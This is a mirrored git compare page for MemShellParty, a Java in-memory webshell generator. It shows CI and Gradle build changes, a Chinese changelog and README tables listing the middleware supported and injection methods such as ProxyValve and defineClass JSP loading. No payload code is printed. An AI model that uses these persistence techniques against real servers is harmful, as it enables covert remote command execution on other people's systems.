mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
9fa01834e7 | ||
|
|
85b7750ab8 | ||
|
|
9c5dc1fa9d | ||
|
|
a833e3acdd | ||
|
|
b12a8530f2 | ||
|
|
74701926b6 | ||
|
|
a371c6adb6 | ||
|
|
cd9c9ef162 | ||
|
|
d4ff5fdf65 | ||
|
|
1dc27116f1 | ||
|
|
f43218b5e1 | ||
|
|
04bbddee6b | ||
|
|
59cf8674f1 | ||
|
|
9572b90cef | ||
|
|
96044dc231 | ||
|
|
bae97ec554 | ||
|
|
b6ba3c632a | ||
|
|
453ef58b15 | ||
|
|
a37e32deb2 | ||
|
|
faee94d77e | ||
|
|
b0e2e218f0 | ||
|
|
6fee88d761 | ||
|
|
d6613f770a | ||
|
|
5627604ba9 | ||
|
|
c1e0fbbc18 | ||
|
|
74079d81ed | ||
|
|
9792f242ce | ||
|
|
3ae57d6b67 | ||
|
|
69f554ae4e | ||
|
|
8565dd9c52 | ||
|
|
021e0a3e9d | ||
|
|
dc958d49df | ||
|
|
5f83b52bc0 | ||
|
|
59bcd6aecf | ||
|
|
d1a2912428 | ||
|
|
006cce6a74 | ||
|
|
8d240f2a50 | ||
|
|
9d03c04dfa | ||
|
|
8e4dd5ab6a | ||
|
|
8ae71c5b6b | ||
|
|
566286a8fa | ||
|
|
9692ab6e7b | ||
|
|
c75cb2f8ef | ||
|
|
e31fcdeca9 | ||
|
|
f734e3c391 | ||
|
|
8558487b6c | ||
|
|
c5ad3e81cb | ||
|
|
18c0920c27 | ||
|
|
ddfa273938 | ||
|
|
4a1359a736 | ||
|
|
d197691bed | ||
|
|
f7e401bd46 | ||
|
|
cd10fe9a2c | ||
|
|
21acf71af6 | ||
|
|
bb8e4c7a7e | ||
|
|
627ecf6465 | ||
|
|
0658f103cc | ||
|
|
b134b5a5a7 | ||
|
|
cc6bed07a1 | ||
|
|
5d5f866744 | ||
|
|
cf82dd9470 | ||
|
|
b06a39d1b8 | ||
|
|
19faf77d5c | ||
|
|
a3704eb7b7 | ||
|
|
eeed6e45c7 | ||
|
|
3c1c1cb8fc | ||
|
|
26d72cb909 | ||
|
|
70c128ced1 |
@@ -6,8 +6,6 @@ on:
|
|||||||
- dev
|
- dev
|
||||||
paths-ignore:
|
paths-ignore:
|
||||||
- 'docs/**'
|
- 'docs/**'
|
||||||
- 'boot/**'
|
|
||||||
- 'web/**'
|
|
||||||
- '**.md'
|
- '**.md'
|
||||||
- '**/*.png'
|
- '**/*.png'
|
||||||
|
|
||||||
|
|||||||
@@ -87,7 +87,7 @@ jobs:
|
|||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
- middleware: "weblogic"
|
- middleware: "weblogic"
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
- middleware: "springmvc"
|
- middleware: "springwebmvc"
|
||||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
||||||
- middleware: "springwebflux"
|
- middleware: "springwebflux"
|
||||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
||||||
|
|||||||
+56
-1
@@ -5,6 +5,61 @@ All notable changes to this project will be documented in this file.
|
|||||||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
||||||
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||||
|
|
||||||
|
## [v1.10.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.10.0) - 2025-06-07
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 添加新的 JSP 打包方式(直接使用 defineClass 进行注入)(by @zema1 #67)
|
||||||
|
- 支持 Tomcat 和 JBossAS ProxyValve 内存马(通过动态代理将 StandardPipeline 的第一个 valve 进行包装注入自定义逻辑)
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复哥斯拉无法使用最新版连接
|
||||||
|
- 修复 TongWeb8 Valve 未适配
|
||||||
|
- 修复移动端 UI 输入框 placeholder 字体过大
|
||||||
|
- 修复移动端 UI 类名复制按钮超出卡片范围
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- 修改 Valve 和 Listener 字节码修改时机,改为生成时再进行修改,方便自定义内存马生成
|
||||||
|
- 合并 memshell 与 memshell-jdk8 模块,方便维护
|
||||||
|
- UI 使用新的 shadcn/ui 提供的 Zinc 主题配置
|
||||||
|
- 将所有 Shell 捕获异常从 Exception 改为 Throwable
|
||||||
|
- 简化 Shell base64 方法代码
|
||||||
|
- Gradle 更新至 8.14.2
|
||||||
|
- 参考 [General Gradle Best Practices](https://docs.gradle.org/current/userguide/best_practices_general.html),将构建脚本改为
|
||||||
|
Kotlin DSL
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.9.0...v1.10.0](https://github.com/ReaJason/MemShellParty/compare/v1.9.0...v1.10.0)
|
||||||
|
|
||||||
|
## [v1.9.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.9.0) - 2025-05-28
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持 TongWeb8 内存马生成 by @ReaJason
|
||||||
|
- 通过 context 获取 webAppClassLoader,不再依赖 Thread.currentThread().getContextClassLoader()
|
||||||
|
为请求线程,参考:[任意类加载环境下注入内存马](https://reajason.eu.org/writing/whichclassloaderforshell/)
|
||||||
|
- 全面支持使用 ASM 生成 Agent(仅需 92.5 KB),并且可选 JDKAttacher 与 JREAttacher
|
||||||
|
- 支持命令执行自定义实现类,RuntimeExec or ForkAndExec
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复 Apusic Listener 由于 response 获取错误导致不可用
|
||||||
|
- 修复 Jakarta WebSocket 无法注入
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- Godzilla WebSocket 默认使用 AES_BASE64 加密器,支持使用 [GzWebsocket](https://github.com/xsshim/GzWebsocket) 插件进行连接。
|
||||||
|
- Gradle、Web 项目依赖更新
|
||||||
|
- UI 生成界面默认勾选缩小字节码
|
||||||
|
- UI 优化手机端选项布局,单行显示每个输入框
|
||||||
|
- UI 使用紧凑模式,隐藏非常用字段简化操作路径
|
||||||
|
- 提取公共 Tailwind CSS 类名,简化表单组件代码
|
||||||
|
- yup 替代 zod 减少打包体积,并将自定义表单验证融合到 react-hook-form 中优化 UX
|
||||||
|
- 重构 Shell Generator 代码
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.8.0...v1.9.0](https://github.com/ReaJason/MemShellParty/compare/v1.8.0...v1.9.0)
|
||||||
|
|
||||||
## [v1.8.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.8.0) - 2025-05-14
|
## [v1.8.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.8.0) - 2025-05-14
|
||||||
|
|
||||||
### Added
|
### Added
|
||||||
@@ -25,7 +80,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
|
|||||||
- 获取所有线程代码改为 `Thread.getAllStackTraces().keySet()`,高版本 JDK 不再需要 bypass module
|
- 获取所有线程代码改为 `Thread.getAllStackTraces().keySet()`,高版本 JDK 不再需要 bypass module
|
||||||
- 优化 boot 在启动时即触发 Server 的内存马生成注册,加速第一次请求访问
|
- 优化 boot 在启动时即触发 Server 的内存马生成注册,加速第一次请求访问
|
||||||
|
|
||||||
**Full Changelog:** [v1.7.0...v1.8.0](https://github.com/ReaJason/MemShellParty/compare/v1.6.0...v1.7.0)
|
**Full Changelog:** [v1.7.0...v1.8.0](https://github.com/ReaJason/MemShellParty/compare/v1.7.0...v1.8.0)
|
||||||
|
|
||||||
## [v1.7.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.7.0) - 2025-04-06
|
## [v1.7.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.7.0) - 2025-04-06
|
||||||
|
|
||||||
|
|||||||
@@ -187,6 +187,7 @@ Files.write(Paths.get("agent.jar"), agentJarBytes);
|
|||||||
| Filter | Filter | Listener | Listener |
|
| Filter | Filter | Listener | Listener |
|
||||||
| Listener | Listener | Valve | Valve |
|
| Listener | Listener | Valve | Valve |
|
||||||
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
|
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||||
|
| ProxyValve | | | |
|
||||||
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
|
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
|
||||||
| ContextValve - Agent | | | |
|
| ContextValve - Agent | | | |
|
||||||
|
|
||||||
@@ -202,6 +203,7 @@ Files.write(Paths.get("agent.jar"), agentJarBytes);
|
|||||||
| Filter | Filter | Servlet | Servlet |
|
| Filter | Filter | Servlet | Servlet |
|
||||||
| Listener | Listener | Filter | Filter |
|
| Listener | Listener | Filter | Filter |
|
||||||
| Valve | Valve(6) | Listener | Listener |
|
| Valve | Valve(6) | Listener | Listener |
|
||||||
|
| ProxyValve | | | |
|
||||||
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
|
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
|
||||||
| ContextValve - Agent | ContextValve - Agent (6) | | |
|
| ContextValve - Agent | ContextValve - Agent (6) | | |
|
||||||
| | ServletHandler - Agent (7) | | |
|
| | ServletHandler - Agent (7) | | |
|
||||||
@@ -213,13 +215,21 @@ Files.write(Paths.get("agent.jar"), agentJarBytes);
|
|||||||
| Listener | Listener |
|
| Listener | Listener |
|
||||||
| FilterManager - Agent | ServletContext - Agent |
|
| FilterManager - Agent | ServletContext - Agent |
|
||||||
|
|
||||||
| BES(9.5.x) | TongWeb(6 ~ 7) | InforSuite AS (9 ~ 10) | Apusic AS (9) | Primeton(6.5) |
|
| BES(9.5.x) | TongWeb(6 ~ 7) | InforSuite AS (9 ~ 10) |
|
||||||
|----------------------|----------------------|------------------------|---------------|----------------------|
|
|----------------------|----------------------|------------------------|
|
||||||
| Filter | Filter | Filter | Servlet | Filter |
|
| Filter | Filter | Filter |
|
||||||
| Listener | Listener | Listener | Filter | Listener |
|
| Listener | Listener | Listener |
|
||||||
| Valve | Valve | Valve | Listener | Valve |
|
| Valve | Valve | Valve |
|
||||||
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | | FilterChain - Agent |
|
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||||
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | | ContextValve - Agent |
|
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
|
||||||
|
|
||||||
|
| Apusic AS (9) | Primeton(6.5) |
|
||||||
|
|---------------------|----------------------|
|
||||||
|
| Servlet | Filter |
|
||||||
|
| Filter | Listener |
|
||||||
|
| Listener | Valve |
|
||||||
|
| FilterChain - Agent | FilterChain - Agent |
|
||||||
|
| | ContextValve - Agent |
|
||||||
|
|
||||||
### 内存马功能
|
### 内存马功能
|
||||||
|
|
||||||
@@ -259,10 +269,13 @@ Files.write(Paths.get("agent.jar"), agentJarBytes);
|
|||||||
首先需要下载 [bun](https://bun.sh/),这是一款用于构建前端服务的工具。
|
首先需要下载 [bun](https://bun.sh/),这是一款用于构建前端服务的工具。
|
||||||
|
|
||||||
1. 使用 Git Clone 项目
|
1. 使用 Git Clone 项目
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
git clone https://github.com/ReaJason/MemShellParty.git
|
git clone https://github.com/ReaJason/MemShellParty.git
|
||||||
```
|
```
|
||||||
|
|
||||||
2. 构建前端项目,build 结束会将静态资源自动移动到 Spring Boot 中以供使用
|
2. 构建前端项目,build 结束会将静态资源自动移动到 Spring Boot 中以供使用
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cd MemShellParty/web
|
cd MemShellParty/web
|
||||||
|
|
||||||
@@ -270,7 +283,9 @@ bun install
|
|||||||
|
|
||||||
bun run build
|
bun run build
|
||||||
```
|
```
|
||||||
|
|
||||||
3. 构建后端项目,确保使用 JDK17 环境
|
3. 构建后端项目,确保使用 JDK17 环境
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cd MemShellParty/boot
|
cd MemShellParty/boot
|
||||||
|
|
||||||
|
|||||||
Binary file not shown.
|
Before Width: | Height: | Size: 130 KiB After Width: | Height: | Size: 130 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 242 KiB After Width: | Height: | Size: 265 KiB |
@@ -1,63 +0,0 @@
|
|||||||
plugins {
|
|
||||||
id 'java'
|
|
||||||
id 'org.springframework.boot' version '3.4.0'
|
|
||||||
id 'io.spring.dependency-management' version '1.1.6'
|
|
||||||
}
|
|
||||||
|
|
||||||
group = 'com.reajason.javaweb'
|
|
||||||
version = rootProject.version
|
|
||||||
|
|
||||||
java {
|
|
||||||
toolchain {
|
|
||||||
languageVersion = JavaLanguageVersion.of(17)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
def runtimeJvmArgs = [
|
|
||||||
'--add-opens=java.base/java.util=ALL-UNNAMED',
|
|
||||||
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
|
|
||||||
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
|
|
||||||
]
|
|
||||||
|
|
||||||
tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
|
|
||||||
|
|
||||||
tasks.withType(Test).configureEach {
|
|
||||||
jvmArgs += runtimeJvmArgs
|
|
||||||
}
|
|
||||||
|
|
||||||
// For running the application
|
|
||||||
tasks.withType(JavaExec).configureEach {
|
|
||||||
jvmArgs += runtimeJvmArgs
|
|
||||||
}
|
|
||||||
|
|
||||||
configurations {
|
|
||||||
compileOnly {
|
|
||||||
extendsFrom annotationProcessor
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
dependencies {
|
|
||||||
implementation(project(":generator")) {
|
|
||||||
exclude group: 'org.apache.tomcat', module: 'tomcat-catalina'
|
|
||||||
exclude group: 'commons-logging', module: 'commons-logging'
|
|
||||||
}
|
|
||||||
implementation(project(":deserialize")) {
|
|
||||||
exclude group: 'commons-logging', module: 'commons-logging'
|
|
||||||
}
|
|
||||||
implementation 'org.springframework.boot:spring-boot-starter-thymeleaf'
|
|
||||||
implementation('org.springframework.boot:spring-boot-starter-web') {
|
|
||||||
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
|
|
||||||
}
|
|
||||||
implementation 'org.apache.commons:commons-lang3:3.+'
|
|
||||||
implementation 'org.springframework.boot:spring-boot-starter-undertow'
|
|
||||||
compileOnly 'org.projectlombok:lombok'
|
|
||||||
developmentOnly 'org.springframework.boot:spring-boot-devtools'
|
|
||||||
annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor'
|
|
||||||
annotationProcessor 'org.projectlombok:lombok'
|
|
||||||
testImplementation 'org.springframework.boot:spring-boot-starter-test'
|
|
||||||
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
|
|
||||||
}
|
|
||||||
|
|
||||||
test {
|
|
||||||
useJUnitPlatform()
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,48 @@
|
|||||||
|
plugins {
|
||||||
|
id("java")
|
||||||
|
id("org.springframework.boot") version "3.5.0"
|
||||||
|
id("io.spring.dependency-management") version "1.1.7"
|
||||||
|
}
|
||||||
|
|
||||||
|
group = "io.github.reajason"
|
||||||
|
version = rootProject.version
|
||||||
|
|
||||||
|
java {
|
||||||
|
toolchain {
|
||||||
|
languageVersion = JavaLanguageVersion.of(17)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
|
||||||
|
|
||||||
|
configurations {
|
||||||
|
compileOnly {
|
||||||
|
extendsFrom(configurations.annotationProcessor.get())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation(project(":generator")) {
|
||||||
|
exclude(group = "org.apache.tomcat", module = "tomcat-catalina")
|
||||||
|
exclude(group = "commons-logging", module = "commons-logging")
|
||||||
|
}
|
||||||
|
implementation(project(":deserialize")) {
|
||||||
|
exclude(group = "commons-logging", module = "commons-logging")
|
||||||
|
}
|
||||||
|
implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
|
||||||
|
implementation("org.springframework.boot:spring-boot-starter-web") {
|
||||||
|
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
|
||||||
|
}
|
||||||
|
implementation("org.apache.commons:commons-lang3:3.17.0")
|
||||||
|
implementation("org.springframework.boot:spring-boot-starter-jetty")
|
||||||
|
compileOnly("org.projectlombok:lombok")
|
||||||
|
developmentOnly("org.springframework.boot:spring-boot-devtools")
|
||||||
|
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
|
||||||
|
annotationProcessor("org.projectlombok:lombok")
|
||||||
|
testImplementation("org.springframework.boot:spring-boot-starter-test")
|
||||||
|
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.test {
|
||||||
|
useJUnitPlatform()
|
||||||
|
}
|
||||||
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.boot.vo.CommandConfigVO;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
@@ -61,8 +62,11 @@ public class ConfigController {
|
|||||||
return coreMap;
|
return coreMap;
|
||||||
}
|
}
|
||||||
|
|
||||||
@GetMapping("/command/encryptors")
|
@GetMapping("/command/configs")
|
||||||
public List<CommandConfig.Encryptor> getCommandEncryptors() {
|
public CommandConfigVO getCommandConfigs() {
|
||||||
return Arrays.stream(CommandConfig.Encryptor.values()).toList();
|
CommandConfigVO commandConfigVO = new CommandConfigVO();
|
||||||
|
commandConfigVO.setEncryptors(Arrays.stream(CommandConfig.Encryptor.values()).toList());
|
||||||
|
commandConfigVO.setImplementationClasses(Arrays.stream(CommandConfig.ImplementationClass.values()).toList());
|
||||||
|
return commandConfigVO;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -29,6 +29,7 @@ public class GenerateRequest {
|
|||||||
private String headerValue;
|
private String headerValue;
|
||||||
private String shellClassBase64;
|
private String shellClassBase64;
|
||||||
private String encryptor;
|
private String encryptor;
|
||||||
|
private String implementationClass;
|
||||||
}
|
}
|
||||||
|
|
||||||
public ShellToolConfig parseShellToolConfig() {
|
public ShellToolConfig parseShellToolConfig() {
|
||||||
@@ -50,6 +51,7 @@ public class GenerateRequest {
|
|||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8)))
|
.paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8)))
|
||||||
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
||||||
|
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
|
||||||
.build();
|
.build();
|
||||||
case Suo5 -> Suo5Config.builder()
|
case Suo5 -> Suo5Config.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
|
|||||||
@@ -0,0 +1,16 @@
|
|||||||
|
package com.reajason.javaweb.boot.vo;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
|
import lombok.Data;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/5/25
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
public class CommandConfigVO {
|
||||||
|
private List<CommandConfig.Encryptor> encryptors;
|
||||||
|
private List<CommandConfig.ImplementationClass> implementationClasses;
|
||||||
|
}
|
||||||
-119
@@ -1,119 +0,0 @@
|
|||||||
import com.vanniktech.maven.publish.SonatypeHost
|
|
||||||
|
|
||||||
version = '1.8.0'
|
|
||||||
|
|
||||||
buildscript {
|
|
||||||
repositories {
|
|
||||||
mavenCentral()
|
|
||||||
gradlePluginPortal()
|
|
||||||
}
|
|
||||||
dependencies {
|
|
||||||
classpath 'com.vanniktech:gradle-maven-publish-plugin:0.31.0'
|
|
||||||
classpath "io.freefair.lombok:io.freefair.lombok.gradle.plugin:8.13.1"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
allprojects {
|
|
||||||
group = 'io.github.reajason'
|
|
||||||
|
|
||||||
if (it.name != 'memshell-party-bom') {
|
|
||||||
apply(plugin: 'java')
|
|
||||||
apply(plugin: 'idea')
|
|
||||||
apply(plugin: 'jacoco')
|
|
||||||
apply(plugin: 'io.freefair.lombok')
|
|
||||||
}
|
|
||||||
|
|
||||||
apply(plugin: 'com.vanniktech.maven.publish')
|
|
||||||
|
|
||||||
mavenPublishing {
|
|
||||||
publishToMavenCentral(SonatypeHost.CENTRAL_PORTAL)
|
|
||||||
signAllPublications()
|
|
||||||
coordinates("io.github.reajason", project.name, rootProject.version as String)
|
|
||||||
|
|
||||||
pom {
|
|
||||||
name = 'MemShellParty'
|
|
||||||
description = project.description
|
|
||||||
url = 'https://github.com/ReaJason/MemShellParty'
|
|
||||||
inceptionYear = '2025'
|
|
||||||
licenses {
|
|
||||||
license {
|
|
||||||
name = 'MIT'
|
|
||||||
url = 'https://spdx.org/licenses/MIT.html'
|
|
||||||
}
|
|
||||||
}
|
|
||||||
developers {
|
|
||||||
developer {
|
|
||||||
id = 'reajason'
|
|
||||||
name = 'ReaJason'
|
|
||||||
url = "https://reajason.eu.org"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
scm {
|
|
||||||
connection = 'scm:git:https://github.com/ReaJason/MemShellParty.git'
|
|
||||||
developerConnection = 'scm:git:ssh://github.com/ReaJason/MemShellParty.git'
|
|
||||||
url = 'https://github.com/ReaJason/MemShellParty'
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (it.name != 'memshell-party-bom' && !it.name.startsWith("vul")) {
|
|
||||||
dependencies {
|
|
||||||
implementation platform(project(':memshell-party-bom'))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
repositories {
|
|
||||||
mavenCentral()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
idea {
|
|
||||||
module {
|
|
||||||
excludeDirs += file('src')
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
jacocoTestReport {
|
|
||||||
reports {
|
|
||||||
xml.required = true
|
|
||||||
csv.required = true
|
|
||||||
html.required = true
|
|
||||||
}
|
|
||||||
afterEvaluate {
|
|
||||||
executionData.from fileTree(rootDir) {
|
|
||||||
include '**/build/jacoco/**/*.exec'
|
|
||||||
}
|
|
||||||
|
|
||||||
sourceDirectories = files('generator/src/main/java')
|
|
||||||
|
|
||||||
classDirectories.from(
|
|
||||||
fileTree('generator/build/classes/java/main') {
|
|
||||||
excludes = [
|
|
||||||
'com/reajason/javaweb/memshell/**/godzilla/**',
|
|
||||||
'com/reajason/javaweb/memshell/**/injector/**',
|
|
||||||
'com/reajason/javaweb/memshell/**/command/**',
|
|
||||||
'com/reajason/javaweb/config/**'
|
|
||||||
]
|
|
||||||
}
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
tasks.register('publishAllToMavenCentral') {
|
|
||||||
def isSnapshot = rootProject.version.toString().endsWith('-SNAPSHOT')
|
|
||||||
if (isSnapshot) {
|
|
||||||
dependsOn ':memshell-party-bom:publishAllPublicationsToMavenCentralRepository'
|
|
||||||
dependsOn ':memshell-party-common:publishAllPublicationsToMavenCentralRepository'
|
|
||||||
dependsOn ':deserialize:publishAllPublicationsToMavenCentralRepository'
|
|
||||||
dependsOn ':memshell:publishAllPublicationsToMavenCentralRepository'
|
|
||||||
dependsOn ':memshell-java8:publishAllPublicationsToMavenCentralRepository'
|
|
||||||
dependsOn ':generator:publishAllPublicationsToMavenCentralRepository'
|
|
||||||
} else {
|
|
||||||
dependsOn ':memshell-party-bom:publishAndReleaseToMavenCentral'
|
|
||||||
dependsOn ':memshell-party-common:publishAndReleaseToMavenCentral'
|
|
||||||
dependsOn ':deserialize:publishAndReleaseToMavenCentral'
|
|
||||||
dependsOn ':memshell:publishAndReleaseToMavenCentral'
|
|
||||||
dependsOn ':memshell-java8:publishAndReleaseToMavenCentral'
|
|
||||||
dependsOn ':generator:publishAndReleaseToMavenCentral'
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
plugins {
|
||||||
|
id("java")
|
||||||
|
}
|
||||||
|
version = "1.10.0"
|
||||||
|
|
||||||
|
tasks.register("publishAllToMavenCentral") {
|
||||||
|
val isSnapshot = rootProject.version.toString().endsWith("-SNAPSHOT")
|
||||||
|
if (isSnapshot) {
|
||||||
|
dependsOn(":memshell-party-bom:publishAllPublicationsToMavenCentralRepository")
|
||||||
|
dependsOn(":memshell-party-common:publishAllPublicationsToMavenCentralRepository")
|
||||||
|
dependsOn(":deserialize:publishAllPublicationsToMavenCentralRepository")
|
||||||
|
dependsOn(":memshell:publishAllPublicationsToMavenCentralRepository")
|
||||||
|
dependsOn(":generator:publishAllPublicationsToMavenCentralRepository")
|
||||||
|
} else {
|
||||||
|
dependsOn(":memshell-party-bom:publishAndReleaseToMavenCentral")
|
||||||
|
dependsOn(":memshell-party-common:publishAndReleaseToMavenCentral")
|
||||||
|
dependsOn(":deserialize:publishAndReleaseToMavenCentral")
|
||||||
|
dependsOn(":memshell:publishAndReleaseToMavenCentral")
|
||||||
|
dependsOn(":generator:publishAndReleaseToMavenCentral")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
plugins {
|
||||||
|
`kotlin-dsl`
|
||||||
|
}
|
||||||
|
|
||||||
|
repositories {
|
||||||
|
mavenCentral()
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation("com.vanniktech:gradle-maven-publish-plugin:0.32.0")
|
||||||
|
}
|
||||||
@@ -0,0 +1,40 @@
|
|||||||
|
import com.vanniktech.maven.publish.SonatypeHost
|
||||||
|
|
||||||
|
plugins {
|
||||||
|
id("com.vanniktech.maven.publish")
|
||||||
|
}
|
||||||
|
|
||||||
|
mavenPublishing {
|
||||||
|
publishToMavenCentral(SonatypeHost.CENTRAL_PORTAL)
|
||||||
|
signAllPublications()
|
||||||
|
coordinates(
|
||||||
|
"io.github.reajason",
|
||||||
|
project.name,
|
||||||
|
rootProject.version as String
|
||||||
|
)
|
||||||
|
|
||||||
|
pom {
|
||||||
|
name.set("MemShellParty")
|
||||||
|
description.set(project.description)
|
||||||
|
url.set("https://github.com/ReaJason/MemShellParty")
|
||||||
|
inceptionYear.set("2025")
|
||||||
|
licenses {
|
||||||
|
license {
|
||||||
|
name.set("MIT")
|
||||||
|
url.set("https://spdx.org/licenses/MIT.html")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
developers {
|
||||||
|
developer {
|
||||||
|
id.set("reajason")
|
||||||
|
name.set("ReaJason")
|
||||||
|
url.set("https://reajason.eu.org")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
scm {
|
||||||
|
connection.set("scm:git:https://github.com/ReaJason/MemShellParty.git")
|
||||||
|
developerConnection.set("scm:git:ssh://github.com/ReaJason/MemShellParty.git")
|
||||||
|
url.set("https://github.com/ReaJason/MemShellParty")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,28 +0,0 @@
|
|||||||
group = 'io.github.reajason'
|
|
||||||
description = "Java deserialize payload for MemShellParty"
|
|
||||||
version = rootProject.version
|
|
||||||
|
|
||||||
dependencies {
|
|
||||||
implementation project(":memshell-party-common")
|
|
||||||
implementation 'net.bytebuddy:byte-buddy'
|
|
||||||
|
|
||||||
implementation 'com.caucho:hessian:4.0.66'
|
|
||||||
implementation 'commons-beanutils:commons-beanutils:1.9.2'
|
|
||||||
implementation 'commons-collections:commons-collections:3.2.1'
|
|
||||||
implementation 'org.apache.commons:commons-collections4:4.0'
|
|
||||||
|
|
||||||
testImplementation platform('org.junit:junit-bom')
|
|
||||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
|
||||||
